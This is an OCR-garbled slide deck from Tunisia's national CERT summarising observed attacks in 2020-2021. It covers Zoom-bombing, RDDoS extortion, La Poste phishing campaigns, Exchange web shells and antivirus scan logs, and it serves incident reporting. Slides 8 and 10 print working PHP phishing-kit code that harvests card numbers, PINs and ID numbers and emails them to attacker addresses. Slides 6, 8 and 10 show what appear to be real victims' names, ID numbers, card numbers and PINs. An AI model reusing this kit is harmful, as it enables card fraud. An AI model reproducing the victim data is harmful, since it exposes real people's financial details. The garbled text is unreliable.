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TOP Observed Malicious Activities (1/15)

- Increased risk to people who use mobile devices
- No respect of the Security Policy of the IT systems
- Unsecured WiFi

- Security Weaknesses in VPN

Videoconference

u.:.JHJ’.LM.LUK [SuvpveTw) u.:.u.Jle U.H_I’JI

Agence Nationale de la Sécurité Informatique

- Zoom « zero day » Exploit

Z200Mm 6 april 2020

Video Communications
tunCERT has warned of security flaws in the "Zoom"
videoconferencing application, allowing anyone to attend, or
Alerte au Vidéoconférence even inject unsolicited content, during an online meeting or
Hiiackina - « Zoom-hombina » class

TLP: White 4
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TOP Observed Malicious Activities (2/15)

TunCERT - Tunisian Computer Emergency Response Team

Attention aux attaques RDDOS.

Cher partenaire,

Derniérement, des tentatives d’attaques en déni de services
distribué associées & des demandes de rangon (RDDoS)
menées par des groupes de pirates connus ont été signalées et
visant les établissements publics et privés pour des fins
lucratives. En effet, cela consiste a la réception d'un email
indiquant que linfrastructure informatique de l'entreprise pourrait
étre la cible d'une grande attaque DDOS si la somme d'argent
(rangon) demandée n'est pas versée.

- Total number of DDoS attacks
in 2020: 994

- Peak attack volume: 32.6 Gbps

TLP: White

MMomb re d*attagues

200

150

DDoS attacks -2020
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TOP Observed Malicious Activities (3/15)

/! Ched Darek 4G 13:49
(@ )
laposte

AETE EFFECTUEE SUR VOTRE
COMPTE TRAVEL DE +49.667
DT. VOTRE NOUVEAU SOLDE
EST DE 68.859 DT.

LA POSTE TUNISIENNE VOUS
INFORME QU'UNE OPERATION
AETE EFFECTUEE SUR VOTRE
COMPTE TRAVEL DE -50.519
DT. VOTRE NOUVEAU SOLDE
EST DE 18.340 DT.

LA POSTE TUNISIENNE VOUS
INFORME QU'UNE OPERATION
AETE EFFECTUEE SUR VOTRE
COMPTE TRAVEL DE +50.519
DT. VOTRE NOUVEAU SOLDE
EST DE 68.859 DT.

0 WA

@ 34%

0540 4 © Gd

| e-DINAR

Yotre carte polyvalente pour payer sur internet en toute securite

- Historique de votre carte

Date

09/04/2020 -
08/04/2020 +
M09 -
M08 -
1600272019 -

Mortant
(o) Optration

W
og
109118
wamn
MM

¢ 8 e-dinar.poste.tn

ACHAY
ACHAT
ACHAT
ACHAT
ACHAY

RECHARGE
1500272019 + 15000 ESPECE H0008000061744573471

SUNBRIDGE INSTITUTEnCHESTNUT

wrw Minance com»»INTERNET»»GBR»

N =il 64% m

Commercant
RIDG»USA
Fundas>Bertar>DEL>

Flixbws »»>Berknr»DEU»
290da com Intermet G
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Concermant votre compte Travel

Bointe de récepltion

La Poste Tunisienne 2021
. Mo
<3 - -

laposte etravel@gmail.com La Poste Tunisienne -

Counigill oy pull

LA POSTE TUNISIENNE

1. Cx<
17T avr. 2020 a 2021
= Chiffrement standard (TLS).

Afficher les Informations relatives a la securite

>

chere I

On a recemment remargque des transactions frauduleuses sur les
comptes de nos clients.

Si votre compte a €ete debite sans volre connaissance merci de
réepondre a ce mail par les informations suivantes :

-Des capltures d'écran pour les transactions frauduleuses que
vous avez recu de 0400 vers 06:00 du matin.

-Votre numero de cin

-Voitre numeéero de carte Travel

-Votre code confidentiel 8 chiffres

-Votre code 4 chiffres

La poste velllera a vous rembourser dans les plus brefs délais.

TLP: White /
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=

Counigill oy pull
S From: POSTE.TN <Chris Kennedv@multicraft com>
Date: Ihu= Ma}' .7: 2020. 6:22 PM c @ Q, httpsy/fauth.tnposte:tn/backup/ ry'noeg o
Subject: POSTE: Dépo! ; B it .
To- oy RECUpEration de
5 i
Boite de réceptio Contal ; N .
Sécurité OUS POUVEZ salsir vos donnees
Engagement de la poste . .
5 security@tnpt données personnelles
z amoi v o %
Prénom *
» CN*
Bonjour
Date de naissance’
La poste tunisienne a affirr o
de piratage électronique qt )
partie de notre base de doi données de carte
Nous sommes en train de | Type:e-DINAR SMART/JEUNE, DINARP

perdue dans notre base de

1 Num carte *
Cher chent,. besoin de votre aide.
NOUS vous mf Vous pouvez nous alder er Date expiration JJ/MM/AARA *
. '
Sub\'entlon d H Code confidentiel (8 chiffres) *

https://auth.tnposte.tn/ba

Code confidentiel (4 chiffres)

Vous devez v|
Pour des raisons de securi
Iinstitution n'utilise pas 'l
mais plutot son courriel pr
le @poste.tn.

TLP: White °
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TOP Observed Malicious Activities (6/15)

Contents of the "cards.log" file:

y_Neutron - *Nous vous remercie pour vatre aide®;

Nog : K | FI =~ Prénom : MOMAMED MAJED -- CIN : @™ __S5 -- Date de naissance :
14/10/1978 -- GSM : 27 . - E-DINAR SMART -- 53 .37 -- EXPDATE :
85/21 -- 7779277 -+ 3387

Nom : chihi -- Prénom : ousaima -
-- (GSM & St y ~- e-Dinar -~ 5
2559

CIN : @ " } -- Date de naissance : ©5/05/1996
n **1 -~ EXPDATE : 02/20 -- " “042 --

L

Nom : Sabri -~ Prénom : Zallezi -- CIN : @L... .5 -- Date de naissance : 29/09/1988
o GSM 2 27 9 o« Edinar -+ S.__ . 7" S << EXPDATE : .- 9095 -- 9095

Nom : KHARRAT -+ Prénom : KHOULOUD -- CIN : 11065713 -- Date de naissance !
28/09/1995 -- GSM : & “°°§ -- DINARPOST --  __ . _.. [*1@ -- EXPDATE : 06-2022

Nom : KHARRAT -- Prénom : KHOULOUD -- CIN : 11065713 -- Date de naissance :
28/09/1995 -- GSM ; #°°C% "1 -- DINARPOST -- 4 L. ™"57°71210 -- EXPDATE : 06/2022
- 67771710 -- 4740

TLP: White ’
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e mN\ .;-\Io La Pdost_(i Tunisienne - (auigdl 3yl
LA POSTE TUNISIENNE \ ’ ponsore LS

L (aigil] 2y yull
e-Dinar Jeune gl e-Dinar Smart dasloy a4y 0 JSJ o)l lils >
F Wl bl o Jusewd] jlus 50 deudy dxie e Juo=ill 3y g

| N SN fNia ..MMl ADN
D & https://vmdem.3disystems.com/edinar/css/ v ﬁ i N ED Qw L')J-:L“ ual ST SJL! - Bgsiadl o dainsils
Bienvenue au 2 o !
Serveur de = ‘='§ ??i;,i,., S
Paiement de la LA POSTE TUNISIENNE et M. ;’i ;
Poste Tunisienne =
Objet - Verification e-Dinar Smart/Jeune sdaail)
Pour verifier saisir les dsal ela ol 3 leaTly AL
données suivantes Al ol
e — <~ M DIGIPOSTBANK
Numeéro de la carte * .
Y |
(16 chiffres) | | e
Code secret + (8 B s
chiffres) | | ol 80
ootz [ .
: ol 30
chiffres)
Numéro de la carte | | BRI PR P LI 90 Comments 39 Shares
d'identité national* e i

Confirmer - Confirm - a3i httPs:/ / www.facebook.com/ laPostetn/ POStS/ 109031527682888

* : Champ obligatoire
l N
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TOP Observed Malicious Activities (8/15)

Nom et prenom : Choubaila Messaoudi
CIN : 12673865
Num Carte : 5359401418313033

Sending data by email: smarteamtn@gmail.com A
o . achiff : 5436
Storing in a local text file: notagtxt ——— >
Ip 1 197.20.12.225

Hackers MasterSina, NobodyTN, SmartTeam HOST  : 197.26.12.225

BROWSER : Mozilla/5.6 (Linux; Android 8.1.0; itel Al6

<>php Nom et prenom : Moulahedh nessrine
. " " CIN : 13636559
$ip = getenv("REMOTE_ADDR"); Num Carte : 5359401419133807

$message .= "Nom et prenom : ".$_POST['nom']."\n"; 8chiff : 3351
$message .= "CIN : ".§_POST['cnn']."\n"; Achiff @ 3351
$message .= "Num Carte : ".§ POST['crt']."\n"; - . 196938157 .65
$message .= "8chiff : ".§ POST['conf']."\n"; HOST 196.238.157.6
$message .= "4chiff : ".$_POST['ccfnt']."\n"; BROWSER : Mozilla/5.0 (Linux; Android 8.1.0; DRA-LX5)
$message IP Infos , :
. - Nom et prenom : Tayssir boubakri
$message P $ip\n”; CIN : 07200336
$message .= "HOST i ".gethostbyaddr($ip)."\n"; Num Carte : 5359401422746624
$message .= "BROWSER : ".$ _SERVER['HTTP_USER AGENT']."\n"; Behiff : 51380803
$message Created By : NobodyTN Achiff 7612
$cc = §_POST['cen']; P :197.1.228.232
$subject = "MasterSina Info - IP [ ".$ip.$ _POST['exm']." ]From : NobodyTN".$ POST['exy']; HOST  : 197.1.228.232
$send = "smarteamtn@gmail.com"; BROWSER : Mozilla/5.0 (Linux; Android 9;
$hgader‘s ‘Fr‘onl1: SmarTeam@fullz.net.com' . "\r\n" T e ) 8 e R
mail($send,$subject,$message,$headers); CIN : 14322188
$file = fopen("../notag.txt","a"); Num Carte
furite($file,$message); ii:;‘:ﬁ P
fclose($file); '
header('Location: ../red.php'}); 1P : 102.174.247.22
HOST  : 102.174.247.225
% BROWSER : Mozilla/5.0 (Linux; Android £.1.0; TECNO BA2

TLP: White
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couigill oyl

LA POSTE TUNISIENNE D17 TN - Digipostbank.
Sponsorisé - Q

sl gais I3 18,5 0 S 338 0351 5 lranill o sy iz 2l o g sS ansl Sl 9
88 aiti ol anls .+ opolre Yls> lao] ol ulsall 95 (o) D17 asisles paxamls Jsanis ssiss ¢ e hitp
ol ass o JS o 5l 100 dass aio (uwisdl Al pads 1835g%0 b sl (8 9 531 wloas

2l b olraxdl solasg waiz o s 9 D17 adulai Ogoaiiuy

Paiement e-Dinar X

v.shopplusglobal.com/D17/D17.php +yndDe o e =

Bienvenue au

9 Juzaill uf axniall 030 (e Joman)| gulaiuy e-Dinar Jeune gl e-Dinar Smart aslla; as) oo JSI Serveur de ﬁ"ifﬁm
LWl Paiement de la LA POSTE TUNISIENNE g "““‘“—m ’_’l
https://bit.ly/35ccOw6 Poste Tunisienne =
Objet : Verification e-Dinar Smart/Jeune Aatdl

[Pour verifier saisir les

données suivantes

R '-'-1” | T — e
- e e [ ] Ll s
. U'.j. J . (16 chiffres) alds,
peemet® ] s 3
chiffres) D

sttt [ ] oo
Noméro delacarte [ L
(_'n.ll.hgi“ Q‘J;“ d'identité national” il el Gy )

| B ! l | I : LA POSTE TUNISIENNE Confirmer - Confirm - 35T
‘ * : Champ obligatoire
SHOPPLUSGLOBAL.COM o
S'inscrire
www.shopplusglobal.com
Vous étes dans une [ T o
Qe 15 10 partages 20me sécurisée 6 B i

E-mail : monetique(@poste.in - Tél: 1828

Facebook page: D17 TN -
URL: https://www.shopplusglobal.com/D17/D17.php

12

TLP: White
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Peusdo hacker: El Chalon

<?php
("EMAIL.php");
$ip = getenv("REMOTE_ADDR");
$message E1 Chalon
$message .- "Foulen Fouleni : ".$ _POST['nom']."\n";
$message .= "Num Carta : ".§_POST['crt']."\n";
$message .= "Code secret(8 chiffres) : ".$_POST['conf']."\
$message .- "Code secret(4 chiffres) : ".$_POST['ccfnt']."\n";
$message "CIN : ".$_POST['cnn']."\n";
$message IP Infos
$message : $ip\n";
$message .- "BROWSER : ".$_SERVER['HTTP_USER_AGENT']."\n";
$message E1l Chalon
$cc = $_POST['cen'];
$subject = "La Poste Heheha".$_POST['exm']."/".$_POST['exy'];
$headers = "From: El Chalon <laposte@h2l.com>\r\n";
mail($send,$subject,$message,$headers);
$sajal = fopen("El_Chalon.txt", "a");
furite($sajal, $message);
fclose($sajal);
header("Location: http://www.poste.tn/");
»

TLP: White

File " El Chalon.txt " (see attached Excel
file)
120 victims in less than 24 hours.

-------------------- E1 Chalon ------------ommmeo-

Foulen Fouleni : Aymen hamdi

Num Carta :

Code secret(8 chiffres) : 22082017

Code secret(4 chiffres) : 1982

CIN : 06832094

-------------- IP Infos ------------

P : 102.158.11.89

BROWSER : Mozilla/5.8 (Linux; Android 9; CPH2083 Build/PPR1.186610.011
wv) ApplebebKit/537.36 (KHTML, like Gecko) Version/4.8
Chrome/86.0.4240,185 Mobile Safari/537.36

[FB_TAB/FBA4A; FBAV/295.0.0.35.119; ]

-------------------- E1 Chalen -------------------
-------------------- El Chalon --------ccmmomemnan

Foulen Fouleni : Ramzi chalalga

Hum Carta : 5359401701388270

Code secret(8 chiffres) : 23 850 9

Code secret(4 chiffres) : 1774

CIN : 86472843

-------------- IP Infos ------------

IP : 196.176.120.247

BROWSER : Mozilla/5.8 (Linux; Android 8.1.@; V5 Build/OPM2.171819.012)
ApplellebKit/537.36 (KHTML, like Gecko) Soul/4.9 Chrome/86.0.4240.185
Mobile Safari/537.36

———————————————————— E1 Chalon --------------oo-o-
-------------------- El Chalon --------ccmmoemman

Foulen Fouleni : Ramzi chalalga

Hum Carta : 5359481701388270

Code secret(8 chiffres) : 23 850 9

Code secret(4 chiffres) : 1774

CIN : 86472843

—————————————— IP Infos ------------

1P : 196.176.120.247

BROWSER : Mozilla/5.@ (Linux; Android 8.1.8; V5 Build/OPM2.171819.012)
ApplellebKit/537.36 (KHTML, like Gecko) Soul/4.@ Chrome/86.8.4240.185
Mobile Safari/537.36

13
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§ Omgelonsa-bstido X ¢

c | J e

« « OrangeTunisie
= .
Sponsorisé -

Jiall b gl (e Cizg . lig)sS yugyd Ll
igill grazs) juigh (w8 SVLasl OB SV §)dle
WYl (pilzall JLaill (e dusd 2000 g (pileadl Cuipii¥l o Cublbuz 10 & o6i
Slin dlasy Jhiall ez p blagh o 83laiwl
https://instabio.cc/orangeTunisie
EN ralson de 18 propagation du coronavirus .. et invité 3 rester 3 la maison
Une initiative de trois entreprises de télécommunications en Tunisie pour tous les
Tunisiens
Nous mettons a votre disposition 10 Go d'Internet gratuit et 2000 minutes de
connexion Internet gratuite. Pour bénéficier des cadeaux, veuillez vous inscrire avec

votre numéro ici? Nousvousoffrons 10 Co d nternet Qratut et 2000

https://instabio.cc/orangeTunisie minutes
orange"‘ ouws g3 OYlall

GROUPE TUNISIE TELECOM

TLP: White Niveau de classification: Interne 14

¢ ¢
f“e‘
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TOP Observed Malicious Activities (12/15)

: Truth and Dignity Commission
Web defacement attack

03 March 2021: Microsoft Exchange

. I“ I
e Sl Vulnerability Exploitation

: Ransomware Attack

: Defense website red

: Tunisian National TV1 web defacement attack

TLP: White 1o
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TOP Observed Malicious Activities (13/15)

-Banks,

250

-Government

—Presidency of the Republic 200

-Private companies ‘J
150

T 0tal
-Hotels
/ vulnerable
100 w— cOMpromised
. / — e utralized
Multiple servers .
50 s N3t Che
compromised (with
WebShell) 0'\:‘\"\,"\"\/‘\;N:'&‘N:N‘\‘\‘\T\"\"\,‘\'\/
OO SN B VR R o SR VL R s S
FTEITI SIS IS IS E S S
AR AR AR AR A A AR KA K AR
NN N NN A A A A A A A A AN A A S A\

. Niveau de classification: Interne 16
TLP: White
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TOP Observed Malicious Activities (14/15) MSERT Jog

Trojan:Win32/Amynex.A

Trojan:Powershell/LemonDuck.B

—

Backdoor:MSIL/Chopper.F!dha
—

Exploit:ASP/CVE-2021-27065
——

TLP: White

Signatures: 1.333.1590.0
MpGear: 1.1.16330.1
Run Mode: Scan Run in Quiet Mode

Quick Scan Results:

Threat Detected: Trojan:Win32/Amynex.A and Removed!
Action: Remove, Result: @x@0000000
regkey: / /HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\HOvleq\Bus3ZYj0
regkey: / /HKLM\SOFTWARE \Microsoft\Windows NT\CUPrentVersionﬂSchedule\TaskCache\Tasks\{D82F136C—13BC—ﬂ178—8351—A956F2EFAC61}
file://C:\Windows\System32\Tasks\HOvleq\Bus3ZY;0
SigSeq: @x000144D7CABCALAL
taskscheduler: //C: \Windows\System32\Tasks\HOvleq\Bus3ZYj0
Threat Detected: Trojan:PowerShell/LemonDuck.B and Removed!
Action: Remove, Result: 0x00000000
regkey: / /HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\wTzFuj
regkey: / /HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\uLOEkNxivmd\HDscMk1jZ5
regkey: //HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D489C@67-FCO7-4A38-B646-C95E1B504C67}
regkey: / /HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{7637EA1E-CCBF-49C5-8A94-0D68DE912D7A}
file://C:\Windows\System32\Tasks\wTzFuj
SigSeq: @x@8A196D712E1352A
file://C:\Windows\System32\Tasks\Microsoft\Windows\uLOEkNxivmd\HDscMk1jZ5
SigSeq: @xP@A196D712E1352A
taskscheduler: //C:\Windows\System32\Tasks\wTzFuj
taskscheduler://C:\Windows\System32\Tasks\Microsoft\Windows\uLOEkNxivmd\HDscMk1jZ5
Threat Detected: Backdoor:MSIL/Chopper.Fldha and Removed!
Action: Remove, Result: @x00000000
file://C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\e22c2559\92c7e946\App Web_1@mbnewy.d11
SigSeq: @x0OPAD540ABCTD2CH
Threat Detected: Exploit:ASP/CVE-2021-27065 and Removed!
Action: Remove, Result: @x00000000
file://C:\inetpub\vmwroot\aspnet client\wanlin.aspx
SigSeq: @xPAPA7DE7C6934140

Results Summary:

Found Trojan:Win32/Amynex.A and Removed!

Found Trojan:PowerShell/LemonDuck.B and Removed!

Found Backdoor:MSIL/Chopper.F!dha and Removed!

Found Exploit:ASP/CVE-20821-27065 and Removed!

Successfully Submitted MAPS Report

Successfully Submitted Heartbeat Report

Microsoft Safety Scanner Finished On Tue Mar 30 10:02:57 2021
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TOP Observed Malicious Activities (15/15)

L Afficher la quarantaine - Symantec Endpoint Protection BET
Afficher la quarantaine st |
Etat ‘ Les entrées de registre et de fichiers mis en quarantaine, sauvegardés ou réparés sont répertoriés ci-dessous.
Rechercher les menaces
Changer les paramétres ‘ Risqye Nom du fichier Type Emplapgmgnt d'oﬁgipe =
Afficher la quarantaine Trojan.Chinchop!gen3 shell.aspx Sauvegarder C:\Program Files\Microsoft\Exchange Se.
Afficher les journaux ‘ Trojan.Chinchop!gen3 shell.aspx Sauvegarder C:\Program Files\Microsoft\Exchange Se.
| Trojan.Chinchop!gen3 X.aspx Sauvegarder C:\Program Files\Microsoft\Exchange Se.
LiveUpdate... l‘ Trojan.Chinchop!gen3 exchmshell.aspx Sauvegarder C:\Program Files\Microsoft\Exchange Se.
’ Trojan.Chinchop!gen3 exchmshell.aspx Sauvegarder C:\Program Files\Microsoft\Exchange Se. 2
| | Trojan.Chinchop!gen3 X.aspx Sauvegarder C:\Program Files\Microsoft\Exchange Se. §
< ANSI117
| Restarer | | Supprimer Réanalyser tout Exporter | | Ajouter...
I Options de purge I v
<| 1 >

TLP: White e
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